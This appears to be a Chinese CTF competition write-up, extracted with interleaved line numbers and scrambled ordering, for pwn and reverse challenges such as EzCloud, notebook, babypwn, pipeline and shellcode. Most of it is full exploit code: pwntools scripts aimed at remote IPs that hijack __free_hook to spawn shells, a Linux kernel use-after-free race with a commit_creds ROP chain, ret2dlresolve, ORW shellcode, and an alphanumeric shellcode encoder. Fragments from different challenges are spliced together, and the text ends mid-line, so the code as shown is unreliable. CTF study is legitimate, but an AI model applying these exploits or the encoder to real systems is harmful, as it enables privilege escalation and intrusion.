add(0xf8-1,'a\n') add(0xff0-1,'a\n') add(0xf8-1,'a\n') dele(2) add(0xf8-1,'\x00' * 0xf7) dele(2) payload = b'\x03' add(0xf8-1,payload.ljust(0xf0,b'\x00') + b'\n') # payload = payload.str()[:0x30] + chr(de_check(payload,0)) + payload.str()[0x31:] test_check(payload) # input() dele(3) dele(1) add(0xf8-1,'\x66' * 0x20 + '\n') add(0xf8-1,'a\n') show(1) p.recvuntil('content: ') leak_libc = u64(p.recv(6) + b'\x00\x00') - 2014176 log.info('leak libc ' + hex(leak_libc)) dele(4) dele(2) add(0x200,'/bin/sh\x00' + 'a' * 0xf8 + p64(leak_libc + libc.symbols['__free_hook']).str() + '\n') add(0xf8-1,p64(leak_libc + libc.symbols['system']).str() + '\n') add(0xf8-1,p64(leak_libc + libc.symbols['system']).str() + '\n') dele(2) sleep(0.5) p.sendline('cat flag') p.interactive() 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 EzCloud 程序在 new 0 size 的时候存在数据未初始化漏洞 造成可以使⽤未初始化的数据操作 此时 edit ⼀个 content 指向另⼀个,此时另⼀个 content 的字段指针是堆地址 将其修改低字节指向 login 结构体(1/16 概率),改写身份为 admin:0x00000001 即可利⽤ getflag 功能获 得 flag from pwn import * context.log_level = 'debug' context.arch = 'amd64' #p = process("./EzCloud",env={'LD_PRELOAD':"./libc-2.31.so"}) p=remote("47.94.234.66",37128) def add(size,note): req = '''POST /notepad\r Content-Length: %d\r Login-ID: 233\r Note-Operation: new%%20note\r Content-Type: application/x-www-form-urlencoded\r\n\r %s\r\n'''%(size, note) p.send(req.ljust(0x1000, "\x00")) def edit(index, note): req = '''POST /notepad\r Content-Length: %d\r Login-ID: 233\r Note-Operation: edit%%20note\r Note-ID: %d\r Content-Type: application/x-www-form-urlencoded\r\n\r %s\r\n'''%(len(note), index, note) p.send(req) def delete(index): req = '''POST /notepad\r Login-ID: 233\r Note-Operation: delete%%20note\r Note-ID: %d\r \r\n\r\n'''%(index) p.send(req) def show(index): req = '''GET /notepad\r Login-ID: 233\r Note-Operation: delete%%20note\r 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 notebook 解题时间:⼀⾎ 12号5.30PM左右 在 add 和 edit 时候使⽤读锁,可以构造条件竞争构造出⼀个 size=0 的 chunk delete size=0 的 note 可以造成 UAF 利⽤ UAF 攻击 tty 设备即可 Note-ID: %d\r \r\n\r\n'''%(index) p.send(req) def pause(): p.recv() #0x5555555624b0 #gdb.attach(p) req1 = '''POST /login\r Login-ID: 233\r\n\r\n''' p.send(req1) pause() for i in range(10): add(0, "aaaa") pause() print("[----------------------]") add(0x20,"a"*0x20) pause() edit(5,"%b0%a4") pause() edit(7,"%01%00%00%00%00") pause() payload = '''GET /flag\r Login-ID: 233\r\n\r\n''' p.send(payload) p.interactive() 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sched.h> 1 2 3 4 5 #include <errno.h> #include <pty.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/syscall.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/sem.h> #include <signal.h> #include <pthread.h> #define KERNCALL __attribute__((regparm(3))) #define _GNU_SOURCE size_t data[0x100]; int m_idx; typedef struct userarg { size_t idx; size_t size; void *buf; } userarg; int fd,fd2; void shell(){ system("/bin/sh"); } void add(int fd,size_t idx,size_t size,char* buf){ userarg magic; magic.idx = idx; magic.size = size; magic.buf = buf; ioctl(fd,0x100,&magic); } void delete(int fd,size_t idx){ userarg magic; magic.idx = idx; ioctl(fd,0x200,&magic); } void edit(int fd,size_t idx,size_t size,char* buf){ userarg magic; magic.idx = idx; 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 magic.size = size; magic.buf = buf; ioctl(fd,0x300,&magic); } void gift(int fd,char* buf){ userarg magic; magic.buf = buf; ioctl(fd,100,&magic); } void info(){ for(int i=0;i<=20;i++){ printf("%016llx | %016llx\n",data[2*i],data[2*i+1]); } } unsigned long user_cs, user_ss, user_eflags,user_sp ; void save_status() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp) : : "memory" ); } int flag; void race(){ while(flag){ add(fd,1,0x120,data); } } int main(){ save_status(); signal(SIGSEGV, shell); //size_t* fake=mmap(0x2333000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,0,0); //data = 0x2334000-0x400; printf("[+] data@ %p\n",data); fd = open("/dev/notebook",0); fd2 = open("/dev/notebook",1); int fd_tmp[64]; for(int i=0;i<64;i++) 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 fd_tmp[i]=open("/dev/ptmx",1); printf("[+] fd@ %d\n",fd); data[2]=0x2333; data[0]=0x2333; for(int i=0;i<15;i++) add(fd,i,0x10,data); //read(0,data,2); for(int i=0;i<64;i++) close(fd_tmp[i]); for(int i=0;i<15;i++) edit(fd,i,0x400,data); size_t kernel; for(int i=0;i<15;i++){ read(fd,data,i); if((data[3]&0xfff)==0x440) break; } kernel = data[3] - 0x1e8e440; info(); printf("[+] kernel base@ %p\n",kernel); for(int i=0;i<15;i++) delete(fd,i); for(int i=0;i<15;i++) add(fd,i,0x20,data); for(int i=0;i<15;i++) edit(fd,i,0x100,data); gift(fd,data); for(int i=0;i<14;i++) if (data[2*(i+1)]-data[2*i] == 0x100 ) m_idx = i; printf("[+] magic_index@ %d\n",m_idx); printf("[+] magic @ %p\n",data[2*m_idx]); flag=1; //pthread_t t; //pthread_create(&t, NULL, (void*)race, NULL); data[32]=0x2333; int pid=fork(); if(!pid){ while(flag){ add(fd,0,0x100,data); 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 add(fd,0,0x100,data); add(fd,0,0x100,data); add(fd,0,0x100,data); add(fd,0,0x100,data); } } printf("[+] pid@ %d %d\n",pid); while(1){ add(fd,0,0x60,data); edit(fd,0,0x400,data); edit(fd,0,0,data); gift(fd,data); if(data[0]!=0){ puts("[+] yes"); kill(pid,SIGKILL); //kill(pid2,SIGKILL); break; } } for(int i=0;i<15;i++) delete(fd,i); add(fd,1,0x60,data); edit(fd,1,0x400,data); delete(fd,0); int magic = open("/dev/ptmx",1); add(fd,2,0x20,data); edit(fd,2,0x200,data); for(int i=0;i<20;i++){ data[i]=kernel+0x13bef29; } write(fd2,data,2); gift(fd,data); size_t fake_func=data[4]; read(fd,data,1); data[3]=fake_func; write(fd2,data,1); int i=0; data[i++]=0; data[i++]=kernel+0x14a679b;//pop_rdx_rdi data[i++]=0; data[i++]=0; data[i++]=kernel+0x10a9ef0;//commit_creds(prepare_kernel_cred(0)) data[i++]=kernel+0x147901b; 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 [强⽹先锋]orw 可以 add 两次,size0 到 8,删除 1 次,删除时候有个越界 没开 NX,直接写 shellcode data[i++]=0; data[i++]=kernel+0x10a9b40; data[i++]=kernel+0x10637d4;//swapgs;pop rbp;ret data[i++]=0; data[i++]=kernel+0x10338bb; data[i++]=shell; data[i++]=user_cs; data[i++]=user_eflags; data[i++]=user_sp; data[i++]=user_ss; write(fd2,data,0xb0); write(magic,data,0xb0); } 189 190 191 192 193 194 195 196 197 198 199 200 201 from pwn import * context.terminal = ['xfce4-terminal', '-x', 'sh', '-c'] context.log_level = 'debug' # p = process('./pwn',env = {'LD_PRELOAD':'./libseccomp.so.0'}) p = remote('39.105.131.68', 12354) context.arch = 'amd64' def add(index,s,data): p.recvuntil('>>') p.sendline('1') p.recvuntil(':') p.sendline(str(index)) p.recvuntil(':') 1 2 3 4 5 6 7 8 9 10 11 12 13 p.sendline(str(s)) p.recvuntil(':') p.send(data) def padding(s): context.log_level = 'info' s = asm(s) print(len(s)) padding = '''jmp next\n''' + 'nop\n' * (0x20 + (8-len(s))-0xa) + 'next:' padding = s + asm(padding) context.log_level = 'debug' return padding[:8] def add_shell(s): add(0,8,padding(s)) def dele(i): p.recvuntil('>>') p.sendline('4') p.recvuntil(':') p.sendline(str(i)) s = ''' xor eax,eax push 0x70 pop rdx ''' add((0x202018 - 0x2020E0)/8,8,padding(s)) add_shell(''' mov rsi,rdi xor rdi,rdi syscall ''') s = 'nop\n' * 8 + '''mov rbp,rsi\n''' s += shellcraft.amd64.open('flag') s += shellcraft.amd64.read('rax','rbp',0x100) s += shellcraft.amd64.write(1,'rbp',0x100) s += shellcraft.amd64.write(1,'rbp',0x1000) s += ''' \nnext: jmp next''' # gdb.attach(proc.pidof(p)[0]) print(len(asm(s))) dele(0) p.send(asm(s)) p.interactive() 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 [强⽹先锋]no_output ⾸先将存的 fd 改为 0,然后⽤最⼤负数除-1 触发 SIGFPE 中的栈溢出 接着直接 ret2dlresolve 就可以了,pwntools ⾃带 payload ⽣成器 from pwn import * # s = process("./test") s = remote("39.105.138.97","1234") context.terminal = ['ancyterm', '-s', 'host.docker.internal', '-p', '15111', '-t', 'iterm2', '-e'] # gdb.attach(s,"b *0x8049236\nc") s.send("\x00") raw_input(">") s.send('A'*0x20) raw_input(">") s.send("hello_boy\x00") raw_input(">") s.sendline("-2147483648") raw_input(">") s.sendline("-1") raw_input(">") rop = ROP("./test") elf = ELF("./test") dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"]) rop.read(0,dlresolve.data_addr) rop.ret2dlresolve(dlresolve) raw_rop = rop.chain() print(rop.dump()) print(hex(dlresolve.data_addr)) payload = 'A'*76+p32(0x80490C0)+p32(0x8049582)+p32(0)+p32(0x804de00)+p32(0x8049030)+p 32(0x5a04)+p32(0)+p32(0x804de20)+"/bin/sh\x00" s.sendline(payload) raw_input(">") payload= dlresolve.payload s.sendline(payload) s.interactive() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 babypwn \x11 存在越界 malloc(0x200)产⽣ 0x211 的 chunk,使⽤ z3 解决输出的 encode 后很容易泄漏堆地址与 libc 地址。 进⾏ off-by-null 配合 ORW 即可 from pwn import * # s = process("./babypwn",env= {'LD_PRELOAD':'./libc.so.6:./libseccomp.so.2'}) s = remote("39.105.130.158","8888") from z3 import * def solve(target): a1 = BitVec('a1', 32) x = a1 1 2 3 4 5 6 7 8 9 10 11 for _ in range(2): x ^= (32 * x) ^ LShR((x ^ (32 * x)), 17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)), 17)) << 13) s = Solver() s.add(x == target) assert s.check() == sat return (s.model()[a1].as_long()) def add(size): s.sendlineafter(">>> ","1") s.sendlineafter("size:",str(size)) def free(idx): s.sendlineafter(">>> ","2") s.sendlineafter("index:",str(idx)) def edit(idx,buf): s.sendlineafter(">>> ","3") s.sendlineafter("index:",str(idx)) s.sendafter("content:",buf) def show(idx): s.sendlineafter(">>> ","4") s.sendlineafter("index:",str(idx)) add(0x1f0)#0 add(0x200)#1 for i in range(2,9): add(0x1f0) for i in range(2,9): free(i) free(0) for i in range(7): add(0x1f0) if i != 5: edit(i,(p64(0)+p64(0x21))*0x18) add(0xa0)#8 show(8) libc = ELF("./libc.so.6") s.recvline() tmp1 = solve(int('0x'+s.recvline(keepends=False),16)) 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 tmp2 = solve(int('0x'+s.recvline(keepends=False),16)) libc.address = (tmp2<<32)+tmp1-0x3ebe90 success(hex(libc.address)) add(0x140)#9 free(8) free(9) show(5) s.recvline() tmp1 = solve(int('0x'+s.recvline(keepends=False),16)) tmp2 = solve(int('0x'+s.recvline(keepends=False),16)) heapbase = (tmp2<<32)+tmp1-0x1580+0x2c0 success(hex(heapbase)) add(0xa0)#8 add(0x148)#9 addr = heapbase+0xcb0 edit(9,'A'*0x148) payload = p64(addr)*2 payload = payload.ljust(0x140,'A')+p64(0x150+0xa0) edit(9,payload) edit(8,p64(0)+p64(0x1f0)+p64(addr)*2) edit(1,'A'*0x1f0+p64(0)+p64(0x251)) add(0x1f0) free(0) free(2) free(3) free(4) free(5) free(6) free(7) free(1) free_hook = libc.sym['__free_hook'] system = libc.sym['system'] setcontext = libc.sym['setcontext']+53 mprotect = libc.sym['mprotect'] add(0x120)#0 add(0x140)#1 free(1) free(9) edit(0,'./flag\x00\x00'+'A'*152+p64(free_hook)) add(0x140)#1 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 add(0x140)#2 context.arch = 'amd64' sig = SigreturnFrame() sig.rsp = free_hook+0x10 sig.rbp = sig.rsp sig.rip = mprotect sig.rdi = free_hook&0xfffffffffffff000 sig.rsi = 0x1000 sig.rdx = 7 sig.csgsfs=0x2b000000000033 edit(0,str(sig)) shellcode = ''' mov rax,2 mov rdi,{sh} mov rsi,0 syscall xor rax,rax mov rdi,3 mov rsi,{bss1} mov rdx,0x300 syscall mov rax,1 mov rdi,1 mov rsi,{bss2} mov rdx,0x100 syscall '''.format(sh=free_hook+0x100,bss1=free_hook-0x500,bss2=free_hook-0x500) shellcode = asm(shellcode) payload = p64(setcontext)+'./flag\x00\x00'+p64(free_hook+0x18)+shellcode payload = payload.ljust(0x100,'\x90') payload += "./flag\x00" edit(2,payload) # gdb.attach(s,"b free\nc") free(0) s.interactive() 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 pipeline 在 append 的时候输⼊ size 有⼀个类型混淆 输⼊ 0xffff1000 会产⽣溢出,利⽤ realloc(0)进⾏ free,很容易泄漏出 libc 地址。利⽤溢出控制下⼀块的 ptr 即可任意地址写 from pwn import * context.terminal = ['ancyterm', '-s', 'host.docker.internal', '-p', '15111', '-t', 'iterm2', '-e'] def cmd(idx): s.sendlineafter(">>",str(idx)) def new(): cmd(1) def edit(index,offset,size): cmd(2) s.sendlineafter("index: ",str(index)) s.sendlineafter("offset: ",str(offset)) s.sendlineafter("size: ",str(size)) def destory(idx): cmd(3) s.sendlineafter("index: ",str(index)) def append(idx,size,buf): cmd(4) s.sendlineafter("index: ",str(idx)) s.sendlineafter("size: ",str(size)) s.sendlineafter("data: ",buf) def show(idx): cmd(5) s.sendlineafter("index: ",str(idx)) # s = process("./pipeline") s = remote("59.110.173.239","2399") new()#0 edit(0,0,0x500) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 [强⽹先锋]shellcode new()#1 new()#2 edit(0,0,0) edit(0,0,0x500) show(0) # gdb.attach(s,"b *$rebase(0x1839)\nc") libc = ELF("./libc-2.31.so") libc.address = u64(s.recvuntil("\x7f")[-6:]+"\x00\x00")-0x1ebbe0 success(hex(libc.address)) free_hook = libc.sym['__free_hook'] system = libc.sym['system'] append(0,0xffff1000,'A'*0x500+p64(0)+p64(0x21)+p64(free_hook)+p64(0)+p64(0x 100)) # gdb.attach(s,"b *$rebase(0x1839)\nc") append(1,0xffff1000,p64(system)) append(0,0xffff1000,"/bin/sh\x00") edit(0,0,0) s.interactive() 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 #coding=utf8 from pwn import context,asm,success,shellcraft,debug from pwn import * context.arch = 'amd64' class AE64(): def __init__(self): self.alphanum = map(ord,list('UVWXYZABCDEFGHIJKLMNOPQRSTabcdefghijklmnopqrstuvwxyz01234567 89')) self.shift_tbl=[65,97,48,66,98,49,67,99,50,68,100,51,69,101, 52,70,102,53,71,103,54,72,104,55,73,105,56, 74,106,57,75,107,76,108,77,109,78,110,79,111, 80,112,81,113,82,114,83,115,84,116,85,117,86, 118,87,119,88,120,89,121,90,122] self.mul_cache={} # ⽤于缓存imul的结果 self.mul_rdi=0 # ⽤于减少mul使⽤次数从⽽缩短shellcode self.nop = 'Q' # nop = asm('push rcx') self.nop2 = 'QY' # nop2 = asm('push rcx;pop rcx') self.init_encoder_asm = ''' 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 /* set encoder */ /* 0x5658 x 0x30 == 0x103080 (53,128) r8 */ /* 0x5734 x 0x30 == 0x1059c0 (89,192) r9 */ /* 0x5654 x 0x5a == 0x1e5988 (89,136) r10 */ /* 0x6742 x 0x64 == 0x2855c8 (85,200) rdx */ push 0x30 push rsp pop rcx imul di,WORD PTR [rcx],0x5658 push rdi pop r8 /* 0x3080 */ imul di,WORD PTR [rcx],0x5734 push rdi pop r9 /* 0x59c0 */ push 0x5a push rsp pop rcx imul di,WORD PTR [rcx],0x5654 push rdi pop r10 /* 0x5988 */ push 0x64 push rsp pop rcx imul di,WORD PTR [rcx],0x6742 push rdi pop rdx /* 0x55c8 */ ''' # self.init_encoder = asm(self.init_encoder_asm) self.init_encoder = 'j0TYfi9XVWAXfi94WWAYjZTYfi9TVWAZjdTYfi9BgWZ' self.zero_rdi_asm=''' push rdi push rsp pop rcx xor rdi,[rcx] pop rcx ''' # self.zero_rdi = asm(self.zero_rdi_asm) self.zero_rdi = 'WTYH39Y' self.vaild_reg = ['rax','rbx','rcx','rdx','rdi','rsi','rbp','rsp', 'r8','r9','r10','r11','r12','r13','r14','r15'] def encode(self,raw_sc,addr_in_reg='rax',pre_len=0,is_rdi_zero=0): r''' raw_sc:需要encode的机器码 addr_in_reg: 指向shellcode附近的寄存器名称,默认rax 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 pre_len:因为默认rax指向shellcode附近,这个字段的意思为 reg+pre_len == encoder的起始地址,默认0 is_rdi_zero: 跑shellcode之前rdi是否为0,如果确定为0,可以设置此flag为1,这样可 以省去⼏byte空间,默认0即rdi不为0 encoder_len:留给encoder的最⼤字节⻓度(会⾃动调整) 地址构成: rax --> xxxxx \ xxxxx | pre_len (adjust addr to rax) xxxxx / encoder yyyyy \ yyyyy | encoder_len yyyyy / your_sc zzzzz \ zzzzz | encoded shellcode zzzzz | zzzzz / ''' save_log_level = context.log_level context.log_level = 99 if not is_rdi_zero: self.prologue = self.zero_rdi+self.init_encoder else: self.prologue = self.init_encoder addr_in_reg=addr_in_reg.lower() if addr_in_reg != 'rax': if addr_in_reg not in self.vaild_reg: print '[-] not vaild reg' return None else: self.prologue=asm('push {};pop rax;\n'.format(addr_in_reg))+self.prologue self.raw_sc = raw_sc self.pre_len = pre_len self.encoder_len=len(self.prologue) if not self.encode_raw_sc(): print '[-] error while encoding raw_sc' return None while True: debug('AE64: trying length {}'.format(self.encoder_len)) encoder = asm(self.gen_encoder(self.pre_len+self.encoder_len)) final_sc = self.prologue+encoder if self.encoder_len >= len(final_sc) and self.encoder_len- len(final_sc) <= 6:# nop len 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 break self.encoder_len=len(final_sc) nop_len = self.encoder_len - len(final_sc) context.log_level = save_log_level success('shellcode generated, length info -> prologue:{} + encoder:{} + nop:{} + encoded_sc:{} == {}'.format( len(self.prologue), len(final_sc)-len(self.prologue), nop_len, len(self.enc_raw_sc), len(final_sc)+nop_len+len(self.enc_raw_sc))) final_sc += self.nop2*(nop_len/2)+self.nop*(nop_len%2)+self.enc_raw_sc return final_sc def encode_raw_sc(self): ''' 计算encode后的shellcode,以及需要的加密步骤(encoder) ''' reg=['rdx','r8','r9','r10'] dh=[0x55,0x30,0x59,0x59] dl=[0xc8,0x80,0xc0,0x88] tmp_sc=list(self.raw_sc) # 帮助后续⽣成encoder。 # 由三部分组成: # 寄存器所提供地址和所要加密字节的偏移;⽤到的寄存器;是⾼8字节(dh)还是低8字节(dl) encoder_info=[] for i in range(len(self.raw_sc)): oc = ord(self.raw_sc[i]) if oc not in self.alphanum: # 不是alphanumeric才需要加密 for j,n in enumerate(dh if oc < 0x80 else dl): if oc^n in self.alphanum: tmp_sc[i] = chr(oc^n) encoder_info.append((i,reg[j],1 if oc < 0x80 else 0)) break self.enc_raw_sc = ''.join(tmp_sc) self.encoder_info = encoder_info return 1 def find_mul_force(self,need): ''' ⽤于查找所需word如何由两个数相乘&0xffff得到 ''' result_cache = self.mul_cache.get(need) 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 if result_cache: return result_cache for h in self.alphanum: for l in self.alphanum: mul_word = (h<<8)+l for mul_byte in self.alphanum: if (mul_word*mul_byte)&0xffff == need: self.mul_cache[need] = (mul_word,mul_byte) # add to mul cache return (mul_word,mul_byte) # not find return (0,0) def find_mul_add(self,need): ''' ⽤于查找所需offset如何由两个数相乘&0xffff再加上⼀个常数得到 ''' if self.mul_rdi == 0: #not used yet for shift in self.shift_tbl: if need-shift > 0: mul_word,mul_byte = self.find_mul_force(need-shift) if mul_word != 0: # find it self.mul_rdi = [mul_word,mul_byte] return (mul_word,mul_byte,shift) else: # 说明encoder已经设置了rdi,为了让shellcode尽量短,应尽量使⽤常数调整,⽽ 不是重新设置rdi rdi = (self.mul_rdi[0]*self.mul_rdi[1])&0xffff if need-rdi in self.shift_tbl: # we find offset return (self.mul_rdi[0],self.mul_rdi[1],need-rdi) else: # not find :( for shift in self.shift_tbl: if need-shift > 0: mul_word,mul_byte = self.find_mul_force(need-shift) if mul_word != 0: # find it self.mul_rdi = [mul_word,mul_byte] return (mul_word,mul_byte,shift) print 'cant find mul for {} :('.format(need) exit(0) def gen_encoder(self,offset): ''' 根据函数encode_raw_sc得到的结果⽣成encoder ''' sc ='' old_rdi=[0,0] for raw_idx,regname,hl in self.encoder_info: idx = offset+raw_idx 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 mul_word,mul_byte,shift = self.find_mul_add(idx) if mul_word == old_rdi[0] and mul_byte == old_rdi[1]: # edi not changed pass else: sc+='push {};push rsp;pop rcx;imul di,[rcx], {};\n'.format(mul_byte,mul_word) old_rdi = self.mul_rdi if regname != 'rdx': #backup rdx and set sc+='push rdx;push {};pop rdx;\n'.format(regname) sc+='xor [rax+rdi+{}],{};\n'.format(shift,'dh' if hl else 'dl') if regname!= 'rdx': #restore rdx sc+='pop rdx;\n' return sc def pwn(iii,v): # print '[+] this is the usage:' s1 = '6a01fe0c2468666c616789e331c931d26a0558cd80c704242500addec744240433000000c b'.decode('hex') s2 = ''' mov rdx,0xdead3f00 mov rdx,qword ptr [rdx] jmp rdx ''' f2 = s1+asm(s2) if len(f2) % 4 != 0: f2 += '\x90' *(4 - len(f2) % 4) mov_ins = 'mov rdi,0xdead0000\n' for i in range(len(f2)/4): mov_ins += 'mov dword ptr [rdi + {0}],{1}\n'.format(i * 4,u32(f2[i*4:i*4 + 4])) shsc = shellcraft.amd64.mmap(0xdead0000,0x4000,7,0x22,0,0) + mov_ins + ''' mov rsp,0xdead3000 call next11 jmp ffff next11: pop rdi mov rsi,0xdead3f00 mov qword ptr [rsi],rdi mov dword ptr [rsp], 0xdead0000 mov dword ptr [rsp + 4], 0x23 retf 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 ffff: ''' + (shellcraft.amd64.read('rax',0xdead2000,0x40) + ''' sub rsi,0x30 cmp byte ptr [rsi + {0}],{1} jnz crash next: jmp next crash: mov eax, 0xE7 syscall'''.format(iii + 0x30,hex(ord(v)))) f1 = asm(shsc) obj = AE64() return obj.encode(f1,'rbx') print(pwn(0,chr(0x30))) print(pwn(1,chr(0x31))) 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 from pwn import * ori = 'SXWTYH39Yj0TYfi9XVWAXfi94WWAYjZTYfi9TVWAZjdTYfi9BgWZjATYfi9370t8ARARZ0T8FZ RAPZ0T8IZ0T8J0t8K0t8L0t8M0t8N0T8ORAPZ0T8PZ0t8Q0t8R0T8SRARZ0T8TZ0t8V0T8X0t8Y 0t8Zj9TYfi9Uy0t8a0t8b0T8cRAPZ0T8dZ0t8e0t8g0t8hRAPZ0t8jZ0t8l0t8m0T8o0t8p0t8q 0T8rRARZ0T8sZ0t8t0t8u0t8v0t8wRAPZ0T8xZ0t8yjkTYfi95J0t8A0T8B0t8CRAPZ0T8DZ0t8 F0t8GRAPZ0T8KZRAPZ0t8MZ0T8PRAPZ0T8QZRAPZ0T8RZ0t8TRAPZ0T8VZRAPZ0T8XZRAPZ0T8Y ZjITYfi99T0t8A0t8CRAPZ0T8EZRAPZ0T8FZ0t8H0T8IRAPZ0T8JZ0t8K0t8LRAPZ0T8MZ0t8O0 t8P0t8Q0T8RRARZ0T8SZRAPZ0T8TZ0t8VRAPZ0T8WZ0t8Y0t8ZjsTYfi9yzRAPZ0T8AZ0t8C0t8 E0t8F0t8GRAPZ0T8HZ0t8JRAPZ0T8KZ0T8M0t8NRAPZ0T8OZRAQZ0t8QZ0t8R0T8SRARZ0T8TZ0 t8URAPZ0T8VZ0t8X0t8Y0t8ZjcTYfi9GC0t8ARAPZ0T8CZ0T8F0t8G0T8HRAPZ0T8IZ0T8K0t8L 0T8NRARZ0T8OZ0t8P0t8Q0t8R0t8SRAPZ0T8TZ0t8U0t8V0t8W0t8XRAPZ0T8YZ0t8ZjUTYfi9S ERAPZ0t8AZ0T8C0t8D0t8E0T8FRARZ0T8GZ0t8H0t8I0t8J0t8K0T8M0t8NRAPZ0T8OZ0t8P0t8 Q0t8R0t8S0T8TRARZ0T8UZRAPZ0T8VZ0t8X0t8Y0t8ZjiTYfi9AZ0t8A0t8B0t8CRAPZ0T8DZ0T 8FRAPZ0T8GZRARZ0T8IZRAPZ0t8KZ0T8M0t8N0t8O0t8P0t8Q0T8RRAPZ0T8SZ0t8T0t8U0T8VR ARZ0T8WZ0t8X0t8YjETYfi9gU0T8ARAPZ0T8BZ0T8DRAPZ0t8EZ0t8IRAPZ0T8JZ0T8K0T8LRAP Z0T8MZ0t8N0t8O0t8P0t8Q0t8RjwAZE1HE1IwTTTTIwTTdWjRZvTTTTIvTATTj9XZPHwUUeVUUU UGRjT6YGGQqhflGG8agAcGGY1I1RGGEjPXMGGAHGQqGGMpUeVGGIGDqQGGu3UUUGGqKHrUGGqje VUGGyUUUHGG0CG7bHtU0eVUUUUhWUUUkKoHvUjeVUUUUHAkGQqUUeVGDqQvUUUKHAG1HjpZvTTT TIvTtdWZPHKn0HN{0}{1}uWk6pgUUUZP' import string flag = '' for i in range(0,0x30): # ori = pwn(i,chr(0x30)) for j in string.printable: p = remote('39.105.137.118',50050) s = ori.format(chr(i+0x30),j) 1 2 3 4 5 6 7 8 9 10 Reverse ezmath init ⾥⾯有⼀些奇怪的操作修改了判断函数中的 0.2021 的初始值,观察 init 中的操作发现 等⾃然对数 相关的级数求和,因此猜测最后函数的通项公式也与 相关。此外,对于 ,如果 ,则 ;下⼀步就会变为 0,根据这样的观察我们可以猜测 ,并且通过 ⾮ 常接近整数这⼀点来验证我们的猜测,继⽽还原出 flag. # print(s) p.sendline(s) try: sleep(0.1) p.send('123') p.send('123') p.send('123') sleep(0.1) p.send('123') p.recv(1000,timeout=0.1) flag += j print(flag) p.close() break except: pass 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 unicorn_like_a_pro 通过逆向把 unicorn 执⾏的指令提取出来,并从程序中提取出基本块的跳转顺序,根据这些信息恢复出正 常的控制流 逆向时发现 fs:0 对应的内存区域每读取⼀次都会 encode ⼀次,根据这些信息写出爆破脚本 import numpy as np import math import fuckpy3 res = [0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895, 0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854, 0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219, 0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966, 0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088, 0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298, 0.00008468431512187874] flag = b'' for i in res: print(math.e/i) flag += hex(round(math.e/i)-2)[2:].unhex()[::-1] print(flag) print(len(flag)) 1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdint.h> #include <stdio.h> #include <x86intrin.h> uint64_t __ROL8__(uint64_t value, int count) { const uint64_t nbits = 64; count %= nbits; uint64_t high = value >> (nbits 